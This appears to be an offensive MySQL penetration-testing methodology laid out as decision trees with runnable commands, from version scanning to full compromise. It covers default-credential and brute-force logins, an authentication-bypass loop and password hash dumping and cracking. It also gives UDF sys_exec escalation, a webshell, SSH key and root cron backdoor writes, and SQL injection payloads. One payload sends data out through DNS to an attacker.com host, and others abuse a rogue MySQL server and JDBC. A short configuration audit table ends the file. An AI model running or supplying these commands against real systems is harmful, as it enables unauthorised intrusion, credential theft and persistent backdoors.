MySQL Penetration Testing Methodology (3306)
- 攻击大类:C09 Web应用漏洞利用
Further Reading
- Full commands for UDF privilege escalation, file read/write, Rogue Server, JDBC exploitation, and hash cracking -> read references/mysql-techniques.md
Overall Decision Tree
Port 3306 found open
├─ Phase 1: Service Discovery and Version Identification
│ ├─ Determine the MySQL/MariaDB version
│ ├─ Identify the operating system and the running user
│ └─ Check the secure_file_priv / local_infile configuration
├─ Phase 2: Authentication Testing
│ ├─ Anonymous / empty-password login
│ │ ├─ Success -> go directly to Phase 3
│ │ └─ Failure -> default credentials -> brute force
│ ├─ Default credentials (root:(empty), root:root, root:toor, etc.)
│ └─ CVE-2012-2122 authentication bypass (MariaDB/MySQL 5.1.x)
├─ Phase 3: Database Enumeration
│ ├─ Database/table/column enumeration (information_schema)
│ ├─ Privilege enumeration (SHOW GRANTS / mysql.user)
│ │ ├─ FILE privilege -> move to Phase 4 file read/write
│ │ ├─ SUPER privilege -> move to Phase 4 UDF
│ │ └─ Normal privileges -> extract sensitive data and try password reuse
│ └─ User hash extraction (mysql.user / mysql_hashdump)
├─ Phase 4: Privilege Escalation
│ ├─ UDF privilege escalation (lib_mysqludf_sys)
│ │ ├─ Linux: load the .so -> sys_exec()
│ │ └─ Windows: load the .dll -> sys_exec() / NTFS ADS directory creation
│ ├─ File read/write
│ │ ├─ LOAD_FILE() to read system files
│ │ ├─ INTO OUTFILE to write a webshell / .pth payload
│ │ └─ LOAD DATA LOCAL INFILE (client-side file read)
│ └─ MySQL client shell (\! sh)
├─ Phase 5: MySQL Injection Exploitation
│ ├─ UNION injection -> information disclosure / file read-write
│ ├─ Out-of-band injection -> LOAD_FILE() + DNS/HTTP exfiltration
│ └─ Rogue MySQL Server -> client file theft
└─ Phase 6: Known Vulnerabilities
├─ CVE-2012-2122 — authentication bypass (memcmp timing)
├─ CVE-2023-21971 — JDBC propertiesTransform RCE
└─ Rogue/Fake MySQL Server attacks on JDBC clients
Phase 1: Service Discovery and Version Identification
1.1 Port Scanning and Version Probing
# Nmap service version probing + dedicated MySQL scripts
nmap -sV -p 3306 --script mysql-info,mysql-enum <IP>
# Nmap full MySQL script scan
nmap -sV -p 3306 --script "mysql-*" <IP>
1.2 Metasploit Version Probing
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'
1.3 Running User and Key Configuration
Identify the MySQL runtime identity
├─ Local shell already obtained
│ ├─ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep "user"
│ ├─ systemctl status mysql | grep "user"
│ └─ ps aux | grep mysql
└─ MySQL connection only
├─ SELECT @@version, @@datadir, @@basedir;
├─ SHOW VARIABLES LIKE 'secure_file_priv';
├─ SHOW VARIABLES LIKE 'local_infile';
└─ SHOW VARIABLES LIKE 'plugin_dir';
Key Decision:
secure_file_privis empty -> files can be read and written at any pathlocal_infileis enabled -> LOAD DATA LOCAL is available, and the Rogue Server attack surface is exposed- MySQL runs as root -> after UDF privilege escalation you directly obtain system root
Phase 2: Authentication Testing
2.1 Authentication Decision Tree
Attempt to connect to MySQL
├─ 1) Anonymous / empty password
│ ├─ mysql -h <IP> -u root
│ ├─ mysql -h <IP> -u root@localhost
│ └─ Nmap: nmap --script mysql-empty-password -p 3306 <IP>
├─ 2) Default credentials
│ ├─ root:(empty) / root:root / root:toor / root:mysql
│ ├─ admin:admin / test:test / guest:guest
│ └─ debian-sys-maint:(obtained from /etc/mysql/debian.cnf)
├─ 3) CVE-2012-2122 authentication bypass
│ ├─ MariaDB / MySQL 5.1.x are affected
│ ├─ Principle: the memcmp return value is truncated, giving roughly a 1/256 chance of bypass
│ ├─ Nmap: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│ └─ Metasploit: auxiliary/scanner/mysql/mysql_authbypass_hashdump
├─ 4) Brute force
│ ├─ hydra -t 4 -l root -P wordlist.txt <IP> mysql
│ └─ Metasploit: auxiliary/scanner/mysql/mysql_login
└─ 5) Local privilege escalation paths
├─ Plaintext password in /etc/mysql/debian.cnf
├─ ~/.my.cnf / ~/.mylogin.cnf credential files
└─ auth_socket / unix_socket plugin -> passwordless login over the local socket
2.2 Local Socket Authentication Check
When you already have a shell on the target, the local socket is the fastest way in:
# Detect the socket file
ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null
# Detect credential files
ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null
# auth_socket plugin -> the OS user maps directly to the DB user
mysql -S /run/mysqld/mysqld.sock -u root -e \
"SELECT user,host,plugin FROM mysql.user;" 2>/dev/null
Phase 3: Database Enumeration
3.1 Basic Enumeration
# Execute after connecting
show databases;
use <database>;
show tables;
describe <table_name>;
select version();
select user();
select database();
3.2 Privilege Enumeration Decision Tree
Check the current privileges
├─ SHOW GRANTS FOR CURRENT_USER();
├─ SELECT * FROM mysql.user WHERE user=CURRENT_USER();
├─ Check the FILE privilege
│ ├─ SELECT user,file_priv FROM mysql.user WHERE file_priv='Y';
│ ├─ Present -> flag for Phase 4 file read/write
│ └─ Absent -> try other escalation paths
├─ Check the SUPER privilege
│ ├─ SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y';
│ ├─ Present -> flag for Phase 4 UDF
│ └─ Absent -> check combined privileges such as CREATE/INSERT
└─ Custom function check
├─ SELECT routine_name FROM information_schema.routines WHERE routine_type='FUNCTION' AND routine_schema!='sys';
└─ Non-system functions exist -> a UDF backdoor may already be present
3.3 User Hash Extraction
# Extract from inside MySQL
SELECT user,authentication_string FROM mysql.user;
# Metasploit automation
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
# Extract from local files (shell already obtained)
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
3.4 Metasploit Automated Enumeration
msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit'
Phase 4: Privilege Escalation
4.1 UDF Privilege Escalation Decision Tree
MySQL runs with high privileges + FILE/SUPER privileges available
├─ Obtain the plugin_dir path
│ └─ SHOW VARIABLES LIKE '%plugin%';
├─ Obtain the UDF library file
│ ├─ sqlmap: locate "*lib_mysqludf_sys*"
│ ├─ Metasploit: locate "*lib_mysqludf_sys*"
│ └─ Manually compile raptor_udf2.c
├─ Linux (.so)
│ ├─ Write into plugin_dir through a table blob relay
│ ├─ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
│ └─ SELECT sys_exec('reverse shell command');
├─ Windows (.dll)
│ ├─ Same as above, using a .dll file
│ ├─ plugin_dir missing? -> create the directory via NTFS ADS
│ │ └─ SELECT 1 INTO OUTFILE 'C:\\path\\plugin::$INDEX_ALLOCATION';
│ └─ SELECT sys_exec("net user attacker P@ss /add");
└─ Clean up after exploitation
└─ DROP FUNCTION sys_exec;
-> read references/mysql-techniques.md for the complete UDF steps
4.2 File Read/Write Decision Tree
FILE privilege available + secure_file_priv unrestricted
├─ Read files
│ ├─ SELECT LOAD_FILE('/etc/passwd');
│ ├─ SELECT LOAD_FILE('/etc/shadow'); # requires the mysql user to have read permission
│ └─ SELECT LOAD_FILE('/var/lib/mysql-files/key.txt');
├─ Write files
│ ├─ Webshell
│ │ └─ SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/shell.php';
│ ├─ Python .pth RCE
│ │ ├─ Write the .pth into the site-packages directory
│ │ ├─ import statements in the .pth execute automatically
│ │ └─ Trigger: request any Python CGI script
│ ├─ SSH public key write
│ │ └─ SELECT "<pubkey>" INTO OUTFILE '/root/.ssh/authorized_keys';
│ └─ Cron job write
│ └─ SELECT "* * * * * root reverse_shell" INTO OUTFILE '/etc/cron.d/backdoor';
├─ Binary data write
│ ├─ CONVERT(unhex("..."), BINARY)
│ └─ CONVERT(from_base64("..."), BINARY)
└─ Limitations
├─ INTO OUTFILE cannot overwrite an existing file
└─ The path is relative to the MySQL CWD and can be adjusted with a ../../ prefix
4.3 LOAD DATA LOCAL INFILE (Client-Side File Read)
Rogue MySQL Server attack
├─ Principle: during LOAD DATA LOCAL the server can make the client read arbitrary files
├─ Prerequisite: client-side local_infile=ON (enabled by default in many clients)
├─ Tools
│ ├─ Rogue-MySql-Server (Python)
│ └─ mysql-fake-server (Java)
├─ Attack flow
│ ├─ Start the Rogue Server listening on 3306
│ ├─ Trick the target into connecting (DNS hijacking / configuration tampering)
│ └─ Automatically read the client's local files (/etc/passwd, etc.)
└─ JDBC extensions
├─ allowLoadLocalInfile=true -> file read
└─ autoDeserialize=true -> deserialization RCE
4.4 MySQL Client Shell
# Once connected to MySQL, get a shell as the current user directly
\! sh
\! bash
\! id
Phase 5: MySQL Injection Exploitation
5.1 Injection Decision Tree
MySQL injection point found
├─ UNION injection
│ ├─ Determine the column count: ORDER BY incrementing / UNION SELECT NULL,NULL,...
│ ├─ Information gathering: version(), user(), database()
│ ├─ Data extraction
│ │ ├─ UNION SELECT table_name FROM information_schema.tables
│ │ └─ UNION SELECT column_name FROM information_schema.columns WHERE table_name='...'
│ └─ File operations (FILE privilege required)
│ ├─ UNION SELECT LOAD_FILE('/etc/passwd')
│ └─ UNION SELECT ... INTO OUTFILE '/path/shell.php'
├─ Error-based injection
│ ├─ extractvalue(1, concat(0x7e, (SELECT ...)))
│ └─ updatexml(1, concat(0x7e, (SELECT ...)), 1)
├─ Blind injection
│ ├─ Boolean-based blind injection: AND (SELECT ...) = 1
│ └─ Time-based blind injection: AND IF(..., SLEEP(5), 0)
├─ Out-of-band injection (OOB)
│ └─ SELECT LOAD_FILE(concat('', (SELECT ...), '.attacker.com\\a'));
└─ Whitespace bypass
├─ /**/ comment substitution
├─ /*!*/ version comments
└─ %09 / %0a / %0d to replace whitespace
Phase 6: Known Vulnerabilities
6.1 Vulnerability Detection Decision Tree
MySQL version is known
├─ MySQL 5.1.x / specific MariaDB versions
│ └─ CVE-2012-2122 authentication bypass
│ ├─ Detect: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP>
│ └─ Exploit: for i in $(seq 1 1000); do mysql -u root --password=bad -h <IP> 2>/dev/null; done
├─ MySQL Connector/J <= 8.0.32
│ └─ CVE-2023-21971 (propertiesTransform RCE)
│ ├─ Prerequisite: able to control the JDBC connection string
│ └─ Exploit: jdbc:mysql://<IP>:3306/test?propertiesTransform=com.evil.Evil
├─ Client connects over JDBC
│ ├─ allowLoadLocalInfile=true -> Rogue Server file read
│ └─ autoDeserialize=true -> Rogue Server deserialization RCE
├─ Windows target
│ └─ Metasploit: exploit/windows/mysql/mysql_start_up (credential execution)
└─ Generic detection
└─ nmap -sV -p 3306 --script mysql-vuln* <IP>
6.2 Hash Cracking
MySQL hash obtained
├─ mysql_native_password (MySQL 5.x)
│ ├─ Hashcat: hashcat -m 300 hashes.txt wordlist.txt
│ └─ John: john --format=mysql-sha1 hashes.txt
├─ caching_sha2_password (MySQL 8.x)
│ ├─ Hashcat: hashcat -m 21100 hashes.txt wordlist.txt
│ └─ John: john --format=mysql-sha2 hashes.txt
└─ Legacy MySQL 3.x/4.x
└─ Hashcat: hashcat -m 200 hashes.txt wordlist.txt
Post-Exploitation — Local Audit Checklist
Quick audit of the MySQL configuration once you have a shell:
| Check | Risk description |
|---|---|
secure_file_priv = "" |
Allows file read/write at any path |
local_infile = ON |
LOAD DATA LOCAL is available, Rogue Server attack surface |
| MySQL runs as root | UDF privilege escalation yields system root directly |
/etc/mysql/debian.cnf is readable |
Contains the debian-sys-maint plaintext password |
~/.my.cnf / ~/.mylogin.cnf exist |
Contain user credentials |
auth_socket plugin is enabled |
Passwordless login over the local socket |
skip-networking is not set |
Remote connections are possible |
Key Configuration File Paths
Linux
├─ /etc/my.cnf
├─ /etc/mysql/my.cnf
├─ /var/lib/mysql/my.cnf
├─ ~/.my.cnf
├─ ~/.mysql_history # command history
└─ /var/lib/mysql/mysql/user.MYD # user hashes
Windows
├─ C:\Windows\my.ini
├─ C:\MySQL\data\
└─ <InstDir>\mysql\data\
-> read references/mysql-techniques.md for full technical details and command reference